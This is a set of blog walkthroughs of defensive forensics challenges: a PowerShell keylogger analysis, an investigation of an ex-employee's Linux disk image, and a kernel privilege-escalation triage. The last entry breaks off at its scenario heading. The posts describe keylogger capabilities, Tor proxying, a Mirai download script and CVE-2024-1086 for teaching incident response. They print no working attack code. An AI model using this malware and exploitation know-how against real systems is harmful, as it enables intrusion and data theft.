There we have it! We’ve successfully analyzed the forensic disk image of Karen’s device through FTK Imager. With access to the image, we were able to move through our investigation, determining several key pieces of evidence, such as the OS distro, the presence of a common credential access tool, a possible motive, a victim, and some of Karen’s associates. Not too bad! Now let’s report our findings back to TAAUSAI and close out this Insider case.

A big thank you to CyberDefenders for a fun and engaging lab. I’ve been brushing up on my Linux forensics skills recently, so I chose this lab to run an investigation without terminal access to the system, instead relying on artifacts available from within a disk image. This was surprisingly effective, and it was interesting to see the Linux file structure from the top-down rather than being in the system directly. It really helped to solidify my working knowledge of Linux artifacts and will definitely be helpful in the field. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/insider/

Flare-VM: https://github.com/mandiant/flare-vm

FTK Imager: https://www.exterro.com/digital-forensics-software/ftk-imager

MITRE ATT&CK — Software — Mimikatz (S0002): https://attack.mitre.org/software/S0002/

Kali Documentation — Binwalk: https://www.kali.org/tools/binwalk/

LetsDefend — PowerShell Keylogger Challenge Walkthrough

Sun, 20 Jul 2025 00:00:00 +0000

LetsDefend — PowerShell Keylogger Challenge Walkthrough

Investigating a PowerShell Malware Sample With Notepad++.

Image Credit: https://app.letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the PowerShell Keylogger challenge from LetsDefend, you’re in the right place. This challenge is a great introduction to analyzing PowerShell-based malware, and it gives us a chance to flex our manual analysis skills. Let’s check out the scenario:

Challenge Scenario:

You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware’s functionality and determine its capabilities.

Pretty straightforward, right? Analyze the sample, figure out what it can do. But what’s in our toolkit for this investigation? We’re going full manual here — all we need is a trusty text editor like Notepad++. As we work through the script, we’ll also do some light external research to make sure we’re seeing the full picture.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the proxy port used by the script?

Alright, let’s kick off our investigation and dig into the PowerShell malware sample. First, open the ChallengeFile folder and extract the sample.7z archive, which contains the cha sample file.

Overview of the ChallengeFile folder

Since we know this is a malicious PowerShell script, we can begin our analysis by looking at the strings within the script to determine what it does. One approach is to simply open the script with a text editor to view the contents. For this walkthrough, I’ll be using Notepad++, but there are many other options — the choice is yours!

Once we have the sample opened in Notepad++, we’ll see some defined parameters, which is a great way to ease into the analysis. To answer Question 1, turn your attention to Line 5.

Identifying the proxy port used by the script

We can see the $proxyPort variable declared with the value of [9050](https://whatportis.com/search/9050), indicating that this is the port used by the proxy server. According to WhatPortIs, port 9050 is the Tor SOCKS proxy port used by the Tor network, which is commonly used for anonymous browsing. This tells us that the malware is likely attempting to obfuscate its traffic by routing through Tor and hiding out on the dark web.

Question 2: What function-method is used for starting keylogging?

The next thing we’re going to search for is the name of the keylogging function within the script. In the real world, it’s a good idea to read through the script in its entirety to build out an understanding of the whole thing, but for the purposes of this challenge, we’re looking for something specific.

So, to speed things up, we can leverage the Find function in Notepad++ and search for the keyword "keylogger".

Check out Line 94:

Identifying the keylogger function in the script

Here we can see the line function Start-Keylogger, which indicates that this is the name of the function containing the keylogging module.

Question 3: What is the name of the file used by the script to store the keylog data?

Now that we’ve identified the keylogger function, our next task is to determine which file the collected data is stored in. Keep digging through the keylogging function we discovered earlier.

Identifying the keylog storage file in the script

As we scroll down the lines, everything might not make sense right away — but on Line 134, we’ll stumble on the AppendAllText operation that writes the input to a file: keylog.txt.

This is an important artifact to discover because we could use it to help determine what keystroke data was captured and potentially exfiltrated by the malware.

Question 4: What command is used by the script to achieve persistence?

Moving right along, the next object we need to identify is the persistence mechanism used by the malware. If we search through the script, we’ll find a clue on Line 245, where we see a conditional check:

$command -eq “persist”

This line is paired with a translated comment that reads: “the logic of persistence here if necessary.”

Identifying the persistence command in the script

Now, malware comments aren’t exactly the most reliable source of truth — but in this case, they’re actually helpful. Despite the mention of persistence, it doesn’t appear that any actual persistence module is weaponized in this sample.

Question 5: What is the command used by the script to upload data?

The next command we need to locate is the one used to upload data. We can find a clue on Line 215, which references an upload: command.

Identifying the upload command in the script

While we probably already figured this out, the presence of an upload mechanism suggests that this script supports some method to exfiltrate data from a victim environment.

Question 6: What is the regex used by the script to filter IP addresses?

Okay, time to shift gears a little. The next thing we need to find is the regex the script uses to filter specific IP addresses. While it might seem like some kind of IT magic, regex is essentially a way to define patterns or sequences and match those in a data set.

On Line 86, we’ll find an example using the Get-NetIPAddress function, which is used to enumerate the IP address configuration on the victim’s system.

Identifying the IP filtering regex in the script

Importantly for Question 6, look at the -nomatch argument and the pattern next to it — this is the regex we’re looking for:

^(127.|169.254.)

This means the pattern is used to exclude IP addresses that match strings typically associated with local or non-routable addresses, and don’t offer much tactical value to an attacker trying to gather information about a network.

127. is commonly used for loopback addresses like 127.0.0.1
169.254. is used for link-local addresses assigned when DHCP fails

Question 7: What is the DLL imported by the script to call keylogging APIs?

To answer this one, we need to identify the DLL the script imports to access the APIs used by the keylogger.

Jump back to Line 94, where we first found evidence of the keylogger. If we keep reading through the function, we’ll see that on lines 99, 101, 103, and 105, the script imports user32.dll.

Identifying the DLLImport in the script

This DLL is part of Windows and is used to access functions like GetAsyncKeyState (Line 119) to monitor keystrokes.

Question 8: How many seconds does the script wait before re-establishing a connection?

We’ve made it to the final question! This time, we need to determine the waiting period the script uses to re-establish a connection to the attacker’s command and control server.

Let’s start with something easy and search for the keyword "Seconds". There are several wait period commands (Start-Sleep), so we’ll need to identify the correct one.

Identifying the Start-Sleep values in the script

Which one to choose? Fortunately, we have some handy comment lines to guide us — though they’re in French. A quick translation using something like Google Translate gives us:

Attendre avant de tenter une reconnexion = Wait before attempting to reconnect Attendre avant de redÃ©marrer complÃ¨tement = Wait before restarting completely

While it might seem like “reconnect"is the right match for “re-establishing"the connection, the value we’re actually looking for is the second one on Line 276. This line pauses the Establish-Connection function in the event of an error, ensuring the script tries again after a delay of 60 seconds.

Identifying the Start-Sleep value in the script

This pause helps maintain persistence by giving the script time to recover and reattempt communication with the C2 infrastructure. Now that we’ve identified the correct Start-Sleep value, it’s time to wrap up this investigation!

Bonus (Optional):

Let’s embark on a short side quest to enrich our findings and put everything together. Why not check an online malware analysis platform like VirusTotal to see if this sample has been submitted before?

To do this, we’ll collect the file hash of the cha sample by opening PowerShell within the LetsDefend VM and navigating to the ChallengeFile directory.

Then, use the Get-FileHash command to grab the SHA256 hash of the file:

PowerShell: Grabbing the script’s file hash

181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f

Next, open your browser and head to https://www.virustotal.com, then paste the SHA256 hash into the search bar.

VirusTotal: Overview of the sample’s results

From here, we can confirm our findings and dig into the additional context provided by VirusTotal’s analysis and community. The purpose of this exercise is to gain some experience and offer a different perspective to assist in triage — not to replace the manual analysis skills we flexed in this challenge.

In the real world, time, pressure, experience, and obfuscation are all factors that can detract from hands-on analysis. Knowing when to leverage additional tools can make all the difference.

Quest completed!

Conclusion:

Challenge completed! By using Notepad++ to analyze the malware sample, we were able to determine that we’re looking at a PowerShell keylogger capable of capturing, collecting, and exfiltrating data from a victim’s device. Yikes!

As we worked through the investigation, we uncovered how the malware operates and what optional modules it could weaponize. To confirm our findings, we turned to VirusTotal for additional context. With all the pieces in place, it’s time to write up our report and close out our investigation. Nice Job!

A big thank you to LetsDefend for another engaging challenge. This one was especially fun to work through — while it’s simple enough to answer the guided questions, it invites a much deeper investigation to fully understand what the malware is doing and what it’s capable of. I always like to keep script analysis challenges in the rotation because each one is a little different and offers a great learning experience every time.

While we wrapped up with VirusTotal, I still believe manual analysis skills are fundamental. They help build real working knowledge and prepare us to respond effectively during incident response. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/powershell-keylogger

Notepad++: https://notepad-plus-plus.org/

WhatPortIs — 9050: Search Network Ports | WhatPortIs — Network Port Database

MITRE ATT&CK — TA0003 — Persistence: https://attack.mitre.org/tactics/TA0003/

Microsoft Learn — Get-NetIPAddress: https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps

VirusTotal — Sample: https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f

LetsDefend — Linux Forensics Challenge Walkthrough

Sun, 13 Jul 2025 00:00:00 +0000

LetsDefend — Linux Forensics Challenge Walkthrough

A Linux DFIR Challenge Using Built-In Logs.

Image Credit: https://app.letsdefend.io/challenge/linux-forensics

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to the Linux Forensics challenge from LetsDefend, you’re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux and provides a solid foundational overview of some of the commonly used logs.

But first, let’s check out the scenario below:

Challenge Scenario:

An ex-employee, who appears to hold a grudge against their former boss, is displaying suspicious behavior. We seek assistance in uncovering their intentions or plans.

Image file location: /home/analyst/hackerman.7z

Yikes — not good! But we have our orders: investigate the ex-employee’s workstation and search for evidence of how the user was planning to retaliate against their boss. Got it.

To perform this investigation, we’re learning hands-on and doing everything manually. We’ll be leveraging tools built into Linux and scouring the available logging to understand the activities of the former employee and figure out what their plans were.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the MD5 hash of the image?

This challenge gives us two options for accessing the challenge file: either through the LetsDefend virtual machine via your web browser, or by directly downloading the image file. For this walkthrough, I’ll be using the LetsDefend virtual machine, which is Linux-based, and a great way to maintain a safe environment for our analysis.

So, let’s kick off this investigation by launching the virtual machine and navigating to the location of the image file in the /home/analyst directory. Go ahead and extract the hackerman.7z file, which contains the disk image file: hackerman.img.

LetsDefend VM: Navigating to the location of the challenge file

To answer Question 1, we need to determine the MD5 file hash of hackerman.img. We can do that using the following command from the terminal:

md5sum hackerman.img

Terminal: Determining the MD5 hash

6be42bac99e0fff42ca9467b035859a3

This command calculates the MD5 hash value of the file — which is exactly what we need to answer the first question!

Question 2: What is the SHA256 hash of the file in the " # "

hackerman" desktop?

To start digging into the image file, we need to first mount it so we can explore its contents. We’ll use kpartx to mount the image and create a device map, which auto-mounts and appears like an attached drive in the file manager.

Open the terminal and run the following command. The -a flag mounts all partitions, and -v gives us verbose output. In this example, I’ve launched the terminal from within the /home/analyst folder:

kpartx -av hackerman.img

LetsDefend VM: Using kpartx in the terminal and finding the mounted volume

Once the partitions are mapped, navigate to the hackerman user’s desktop within the mounted volume.

LetsDefend VM: Identifying the file in the hackerman desktop

Now that we see the super hackery image, we need to collect the file hash — this time using SHA256 instead of MD5. We can do that with the sha256sum command:

sha256sum hackerman.jpeg

3c76e6c36c18ea881e3a681baa51822141c5bdbfef73c8f33c25ce62ea341246

Question 3: What command did the user use to install Google Chrome?

Now that we have access to the contents of the disk image, we can start investigating the attacker’s actions. One extremely robust and common source of forensic artifacts on Linux is the .bash_history file. This file stores the commands run within the shell or terminal, making it extremely valuable for user behavior context.

To view the history within the mounted volume, open a terminal in the /home/hackerman folder and use the cat command to print the contents of the .bash_history file:

cat .bash_history

Identifying the Chrome installation command within the .bash_history

The output will display in ascending order, with the oldest commands appearing first. Scanning through the commands run by hackerman, we can see near the bottom that they downloaded the Chrome installer package and installed it using [dpkg](https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html):

sudo dpkg -i google-chrome-stable_current_amd64.deb

Keep this terminal window handy — we’ll reference it several more times throughout our investigation…

Question 4: When was the Gimp app installed? Answer format: yyyy-mm-dd hh:mm:ss

To answer Question 4, we’ll search another valuable artifact: the history.log file. This log contains entries from the apt package manager, including installation commands and timestamps.

You can access the history.log file from the mounted file system by navigating to:

/media/root//var/log/apt/history.log

You can read this file from the terminal using cat, or open it with a text editor. For illustrative purposes, I’ve opened the log in the Mousepad text editor on the VM and used the Find function to search for "gimp". This takes us directly to the logged line:

Commandline: apt install gimp

Identifying the Gimp installation in history.log

Just above that line, you’ll find the corresponding timestamp we need within the Start-Date field.

Question 5: What is the hidden secret that the attacker believes they have successfully concealed in a secret file?

Our next task is to examine the contents of a “secret"file. Remember how I mentioned we’d need the contents of the .bash_history file again? Let’s refer back to the output we explored in Question 3.

Take a look at the commands for our clue. The attacker, hackerman, first uses the cd ~ command to navigate to their home directory, and then uses the touch command to create the .secrets file, and then nano .secrets to edit it within the Nano text editor. Let’s see what’s inside!

Identifying the .secrets file within the .bash_history

cat .secrets

Revealing the contents of the .secrets file

Using the cat command, we can display the contents of the “secret"file for some insight into the attacker’s motives. Nice!

Question 6: What was the UUID of the main root volume?

Next stop on our investigation is to determine the Universally Unique Identifier (UUID) of the main root volume. That might sound a bit complicated, but the good news is — we’ve already done the hard part.

A UUID is a unique identifier used to distinguish storage devices and file systems. It’s the same mechanism that allowed us to mount the hackerman.img file earlier in the challenge. That image has a UUID, and it’s how we’re identifying and navigating the file system.

So, the UUID for the main root volume is the string of numbers we identified in the device path:

29153a2e-48a7-4e89-a844-dfa637a5d461

Identifying the UUID within the terminal path

Identifying the UUID within the files window

Question 7: How many privileged commands did the user run?

We’re closing in on the halfway point! For the next question, we need to determine the number of privileged commands run by the hackerman user. For this objective, we can leverage another log — auth.log. This file contains the system’s authentication events, including commands elevated using [sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) or [pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html).

To start, let’s open auth.log and look for patterns involving sudo and pkexec under the hackerman user account. The log can be found at:

/media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/var/log/auth.log

Auth.log: Identifying a sample of privileged command execution

Inside auth.log, we can single out a few commands (see the above screenshot) that match what we’re looking for. The presence of these events in the logs indicates that hackerman ran the command with elevated privileges:

[sudo](https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html) is used to execute commands with superuser privileges.
[pkexec](https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html) is part of the PolicyKit framework and allows a user to execute a command as another user (root in this case).

So, putting this all together and keeping it simple: we can see a pattern in how the username is displayed with each command type — hackerman: for sudo and hackerman : for pkexec. We’re going to pull out all of the lines matching this format by running a pattern match with grep for both.

This will help us identify all the privileged commands executed by the attacker. To make it even easier, we can add wc -l at the end to get a line count and save ourselves the headache. I’ve demonstrated the command with and without it below:

cat auth.log | grep -e “hackerman:” - “hackerman :” | wc -l

Using grep to identify all privileged commands in auth.log

Question 8: What is the last thing the user searches for in the installed browser?

Remember back in Question 3 when we learned that hackerman installed Google Chrome? It’s reasonable to assume that this browser was also used during the attack, so let’s check out the browser cache artifacts located at:

/home/hackerman/.config/google-chrome/Default/

From here, we’ll focus on analyzing the History database, which holds logs of the searches performed in Chrome.

LetsDefend VM: The location of the Chrome History database

But how do we open it? Here’s a little problem — the History file is a SQLite database, and the LetsDefend environment doesn’t have internet access and doesn’t have a SQLite database browser built in either.

Maybe we can try a simple hack: use cat to open the database in the terminal and look for any readable strings. Only one way to find out if it works! Open the terminal in the directory and run the command below:

cat History

Identifying a search string within the Chrome History database

Well, it isn’t pretty — but if you scroll through the output, you can make out the last string searched at the bottom of the log. Pay close attention to the spelling of downlowad (sic) in the string.

Question 9: From Q8 we know that the user tried to write a script, what is the script name that the user wrote?

It looks like hackerman is still learning his tradecraft, and our next task is to identify the malicious script they wrote. Fortunately, we’ve already stumbled on a clue back in Question 3…

Maybe it stuck out to you when we were reviewing the .bash_history file, but take another look—do you notice the second logged command? A shell script (.sh) file was created using the touch command:

superhackingscript.sh

Identifying superhackingscript.sh within the .bash_history

Let’s jump down to the next question to determine the contents of this script — and whether it’s a super-hacking script, indeed!

Question 10: What is the URL that the user uses to download the malware?

To locate the script’s directory, we can open the terminal and use the find command to search for the file by name:

find /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/ -name “superhackingscript.sh”

Bingo! We can see it’s located in the /tmp directory. Now all we need to do is cat the file to check out its contents:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/tmp/superhackingscript.sh

Identifying the malicious URL within superhackingscript.sh

With a conveniently placed comment line, we can see the URL hosting the supermalware — er, malware.

Question 11: What is the name of the malware that the user tried to download?

Conveniently, we also have a destination variable declared within superhackingscript.sh. This is the path where the curl command writes the downloaded file—but it doesn’t look quite like a typical file name, does it? It looks more like a file hash, similar to what we identified back in Questions 1 and 2:

Identifying the malicious file hash within superhackingscript.sh

ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985

Let’s check if this is a known file hash by pivoting out to the online malware sharing and analysis platform, VirusTotal. Copy the hash from the script and open your browser, navigating to: https://www.virustotal.com

Once there, paste the hash into the search bar and let’s see what we find:

VirusTotal: Identifying the family label for the malware file hash

Right away, we can see that this sample has been submitted to the platform before, and more than half of the antimalware engines that scanned it flagged it as malicious. But to answer Question 11, we’re focused on the “Family label"tags. These tags help us identify the malware family, and in this case, the name of the malware is Mirai.

Question 12: What is the IP address associated with the domain that the user pinged?

Switching gears, our next task is to determine the IP address associated with the mmox.challenges domain that the user pinged. We have evidence of this domain in the .bash_history file, where the user ran the ping command—but take a closer look at the command executed just before that:

Identifying host file and ping activity within the .bash_history

sudo nano /etc/hosts

This tells us that the attacker modified the hosts file, which is used to create manual IP-to-hostname mappings. Since the hosts file is checked before DNS resolution, any manual entry here would override the actual DNS record. If hackerman made a modification, the domain could be mapped to attacker-controlled infrastructure.

So, our next stop is to examine the contents of the hosts file. Once again, we can simply cat it to the terminal:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/hosts

And there it is: the mmox.challenges domain is mapped to the IP address:

185[.]199[.]111[.]153

Identifying malicious IP association within /etc/hosts

Question 13: What is the password hash of the " # "

hackerman” user?

We’ve made it to the last question, and our final task is to retrieve the password hash for the hackerman user account.

To do this, we need to access the contents of the /etc/shadow file within the mounted image. The /etc/shadow file is one part of the Linux authentication system and contains, among other properties, the password hashes for all user accounts on the system.

For the purposes of our investigation, we can use cat and grep to focus on retrieving the hash for the hackerman user:

cat /media/root/29153a2e-48a7-4e89-a844-dfa637a5d461/etc/shadow | grep “hackerman”

After running the command, we’ll see the line containing the hash displayed.

Identifying the user password hash within /etc/shadow

$y$j9T$71dGsUtM2UGuXod7Z2SME/$NvWYKVfU9fSpnbbQNbTXcxCdGz4skq.CvJUqRxyKGx6

For the scope of this investigation, we only need to copy the first part of the line, which contains the algorithm identifier, salt, and the hash itself — everything before the first : symbol.

Now that we’ve retrieved the password hash, let’s submit our answer and wrap up this investigation. Great work!

Conclusion:

Case closed! Starting with the .bash_history, we were able to identify the actions taken by the employee on the system and uncover clues pointing us to various logs, including: history.log, auth.log, /etc/hosts, and /etc/shadow. Using these logs, we followed the trail to a malicious script used to download malware, identified as Mirai, on VirusTotal. This confirms the former employee was up to no good. It’s time to report our findings and close out our Linux Forensics walkthrough.

A big thank you to LetsDefend for yet another awesome challenge. I chose this one to brush up on my Linux skills. Coming from the Windows world, I’m much more familiar with the forensic artifacts available there. While I jump in and out of Linux for other tasks, I realized I’d never had the opportunity to explore what kinds of artifacts are available — and I wasn’t disappointed! This challenge was a great excuse to spend time digging through logs and researching the Ubuntu man pages to get my hands dirty. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/linux-forensics

Ubuntu Man Pages — KPARTX: https://manpages.ubuntu.com/manpages/jammy/en/man8/kpartx.8.html

Ubuntu Man Pages — DPKG: https://manpages.ubuntu.com/manpages/jammy/en/man1/dpkg.1.html

Ubuntu Man Pages — PKEXEC: https://manpages.ubuntu.com/manpages/jammy/en/man1/pkexec.1.html

Ubuntu Man Pages — SUDO: https://manpages.ubuntu.com/manpages/jammy/en/man8/sudo.8.html

VirusTotal (Sample): https://www.virustotal.com/gui/file/ed6baf485cde6e94caa8326b91d323dbc53af58e954520ee55fed80b044c1985

**nixCraft — " # "

Understanding /etc/shadow file format on Linux” — Vivek Gite:** https://www.cyberciti.biz/faq/understanding-etcshadow-file/

LetsDefend — Kernel Exploit Challenge Walkthrough

Sun, 29 Jun 2025 00:00:00 +0000

LetsDefend — Kernel Exploit Challenge Walkthrough

A Linux DFIR Challenge Using Unix-Like Artifacts Collector Logs.

Image Credit: https://app.letsdefend.io/challenge/kernel-exploit

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide for the Kernel Exploit challenge from LetsDefend, you’re in the right place. This challenge is a fantastic introduction to digital forensics and incident response (DFIR) on Linux— let’s check out the scenario below.

Challenge Scenario:

In the afternoon, network monitoring systems detected anomalous traffic patterns originating from a critical transaction processing server. Initial signs suggest a potential security breach. You have been provided with a forensic image of the affected system and tasked with conducting a thorough investigation to determine the scope of the incident.

In this challenge, the stakes are high: we’re alerted to a critical transaction processing server that may have been compromised. It’s up to us to triage and analyze how the attack occurred, determine if this is a true positive, and figure out what we can do to prevent it from happening again.

To run our investigation, we’re provided with a forensic image of the affected server. So, what’s in our toolkit for this one? Since the image was created using Unix-like Artifacts Collector (UAC), we’ll rely on the generated artifacts and analyze them manually using a simple text editor. To enrich our findings with additional threat intelligence, we’ll also pivot out to VirusTotal and the National Vulnerability Database for some extra flavor.

Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Question 1: What is the name of the key file the intruder downloaded to elevate their privileges after gaining unauthorized access?

Let’s dive right in by opening the ChallengeFile folder and extracting linuxTriageImage.tar.zip, which contains linuxTriageImage.tar.gz—go ahead and extract that too. This will leave us with the linuxTriageImage directory, which contains all the artifacts we’ll analyze during our investigation.

LetsDefend VM: Overview of challenge artifacts

This might look overwhelming at first, but one file stands out immediately: uac.log. Why is this important? This log indicates that the forensic utility Unix-like Artifacts Collector (UAC) was used to create the forensic image. According to the project’s GitHub page:

UAC (Unix-like Artifacts Collector) is a powerful and extensible incident response tool designed for forensic investigators, security analysts, and IT professionals. It automates the collection of artifacts from a wide range of Unix-like systems, including AIX, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris.

Whether you’re handling an intrusion, conducting forensic investigations, or performing compliance checks, UAC simplifies and accelerates data collection while minimizing reliance on external support during critical incidents.

Awesome! This gives us a starting point. We can reference the UAC documentation to understand where specific artifacts are logged, and then put that knowledge into practice.

To answer Question 1, we’re looking for a file or exploit downloaded by the attacker that was critical to their attack — specifically, something that enabled privilege escalation. To identify it, we’ll leverage the artifact logs collected by UAC.

Navigate to the hash_executables folder within the challenge directory. Inside, you’ll find logs containing detailed information about executable files on the system. Let’s get an overview by opening list_of_executable_files.txt.

Locating the executable file log

This log makes it easy to search for executables present on the system. Try searching for something obvious like "exploit" and see if anything interesting turns up.

Identifying a suspicious file within the executable files log

Hey, what do you know! We’ve found a potentially malicious file. Based on its name and its location in the /tmp directory (a common staging area for the bad guys), it’s reasonable to assume this is the exploit the intruder downloaded to elevate their privileges.

Validating the location of the suspicious file

Question 2: When was the file used for privilege escalation first submitted on Virus Total?

Now that we’ve identified the malicious file used for privilege escalation, it’s time to gather some threat intelligence. One of the best places to start is VirusTotal, where we can check if this file has been seen before and how it’s been classified by various antivirus engines.

But first, we need the file’s hash so we can search for it.

There are a couple of ways to obtain the hash:

From the terminal, we can generate the SHA256 hash using the following command:

sha256sum exploit

Using the terminal to calculate the SHA256 hash of the exploit

d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77

Alternatively, UAC already collected the SHA1 hash during triage. You can find it in the hash_executables.sha1 log inside the hash_executables folder.

Identifying the SHA1 hash of the exploit within the hash_executables.sha1 log

Once you’ve got the hash, head over to VirusTotal and paste it into the search bar. We’ll see that this sample has been submitted to the platform before and it’s detected as malicious by a majority of the antivirus vendors.

To answer Question 2, we need to determine the first submission date of the file. You can find this under the Details tab, in the History section of the VirusTotal report as First Submission. This submission timestamp gives us some rough idea of how long the malware has been circulating.

VirusTotal: Identifying the first submission time of the sample

Question 3: What is the Process ID (PID) of the operation launched by the attacker?

Now that we’ve identified the binary as malicious, the next step is to uncover the Process ID (PID) associated with its execution to help us follow the attacker’s activity on the system.

To do this, we’ll leverage the process artifacts collected by UAC. These logs are in the live_response folder, within the running_processes_full_paths.txt log. This file contains detailed information about all processes running on the system at the time of collection, including their full paths, user context, and PIDs.

Once you’ve opened the log, search for the name of the malicious binary. This will take you directly to the relevant entry (line 369) which shows the PID of the exploit.

Identifying the entry for the running malicious process

Having this information handy is valuable for our investigation because it helps us to identify further malicious activity by searching for any parent/child processes or correlating the PID with other logs.

Question 4: What username was the malicious process running under?

Our next task is to determine which user context the malicious process was running under. For this, we can continue using the running_processes_full_paths.txt log that we referenced in the previous question.

Focus on the user column in the log entry for the malicious binary. You’ll see that the process was running under the account named a1l4m.

Identifying the user running the malicious process

Understanding the user context is another valuable datapoint and helps us track privilege escalation. For example, if the attacker initially launched the exploit under a non-privileged user like a1l4m, but later gains root access, we have clear evidence that the exploit was used to elevate privileges as part of the attack chain.

Question 5: What is the Parent Process ID (PPID) associated with the malicious process?

The next step in our investigation is to determine the Parent Process ID (PPID) of the malicious process we identified in Question 3. For this, we’ll examine the pstree_-p_-n.txt log generated by UAC. This log displays the system’s process tree at the time of collection, including parent-child relationships and associated PIDs.

Once you’ve opened the log, use your text editor’s Find function to search for either the name of the binary (exploit) or the PID we found earlier. You’ll see a line leading up and to the left of the process—that’s the visual representation of its parent relationship in the tree.

Locating the malicious process in the process tree

Follow that line upward until you reach the parent: systemd (PID 1686). For context in Linux, systemd is the system and service manager used to manage user sessions and services. Seeing it as the parent process suggests the malicious binary was likely executed as part of a user session or terminal command, rather than being launched by another malicious process.

Identifying the parent process of the malicious process

Understanding the parent process is important because it helps us determine how the attacker executed the binary and whether it was user-initiated or part of a larger chain. All this data helps build a narrative of the attack.

Question 6: What are the operating system and its version on the compromised server?

We’ve spent some time analyzing the malicious privilege escalation exploit — now it’s time to collect information about the victim’s operating system environment. This can help us understand whether the system was running a version of the OS that may have been vulnerable to a specific privilege escalation exploit.

The first place we’ll check is the hostnamectl.txt log file located in the live_response/network directory.

The logged output of hostnamectl

While this log contains some useful details, the OS version listed doesn’t match the required answer format. No problem! Let’s pivot to a second log file: uname_-a.txt, found in the live_response/system directory.

After opening this file, we can identify a slightly different version of Ubuntu where the output of uname -a matches the expected answer format for the challenge.

The logged output of uname -a

Question 7: What is the kernel version of the compromised system?

Answering Question 7 can be accomplished the same way we approached the last question. We can identify the kernel version of the compromised system by checking either the hostnamectl.txt or uname_-a.txt logs.

This time, both logs display the same kernel version, so either one will give us the correct answer.

Identifying the kernel version in the hostnamectl log

Identifying the kernel version in the uname -a log

Question 8: What is the most recent CVE number associated with the vulnerabilities exploited in this attack?

We’ve made it to the final question — and now it’s time to put everything we’ve learned into practice by identifying the most recent Common Vulnerabilities and Exposures (CVE) number associated with the exploit.

To start, let’s head back to the VirusTotal entry for the exploit we analyzed in Question 2. You’ll notice two CVE tags listed: CVE-2021-4034 and CVE-2024-1086. Since we’re looking for the most recent one, our answer is CVE-2024-1086.

VirusTotal: Identifying the most recent CVE number

Great! We’ve found our answer. But let’s dig a little deeper by checking out the entry for this CVE in the National Vulnerability Database (NVD). This additional intelligence tells us that we’re dealing with a Linux Kernel Use-After-Free vulnerability, exploitable to achieve local privilege escalation. It affects several versions of the Linux kernel:

From (including) 6.2 Up to (excluding) 6.6.15

NVD _A use-after-free vulnerability in the Linux kernel’s netfilter: nf_tables component can be exploited to achieve local…_nvd.nist.gov

This confirms that the kernel version running on the victim’s system was outdated and vulnerable. It’s a great reminder of the importance of always keeping on top of your patching game.

Now let’s submit our answer and wrap up this investigation!

Conclusion:

Mission accomplished! By poring over the logs generated by UAC, we were able to identify and correlate key artifacts and uncover a privilege escalation exploit using CVE-2024€“1086. Now that we’ve put our Linux forensics skills into practice and confirmed the malicious activity, it’s time to close out this walkthrough of the Kernel Exploit challenge.

A big thank you to LetsDefend for another awesome challenge! I chose this one to start dipping my toes into the world of Linux forensics. Coming from a Windows background, it’s definitely a different skillset with a different set of tools. This challenge was a great blend of learning how to work with the UAC triage utility, exploring Linux artifacts, and leveraging threat intelligence to better understand exploitation and system compromise. Awesome stuff!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/kernel-exploit

UAC: https://github.com/tclahr/uac

UAC Documentation: https://tclahr.github.io/uac-docs/

VirusTotal: https://www.virustotal.com/

VirusTotal — Exploit Sample: https://www.virustotal.com/gui/file/d8dd09b01eb4e363d88ff53c0aace04c39dbea822b7adba7a883970abbf72a77

MITRE ATT&CK —Privilege Escalation (TA0004): https://attack.mitre.org/tactics/TA0004/

Wikipedia — Systemd: https://en.wikipedia.org/wiki/Systemd#:~:text=systemd%20is%20a%20software%20suite,and%20improvise%20to%20solve%20problems.

National Vulnerability Database (NVD): https://nvd.nist.gov/vuln/detail/cve-2024-1086#range-16535572

Blue Team Labs Online — The Planet’s Prestige Walkthrough

Sun, 22 Jun 2025 00:00:00 +0000

Blue Team Labs Online — The Planet’s Prestige Walkthrough

An Email Header and Content Analysis Challenge Using CyberChef & zipdump.py.

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive guide to The Planet’s Prestige challenge from Blue Team Labs Online, you’re in the right place. This challenge will take us on a thrilling intergalactic rescue mission starting with just a single email. Prepare for blast off!

Challenge Scenario:

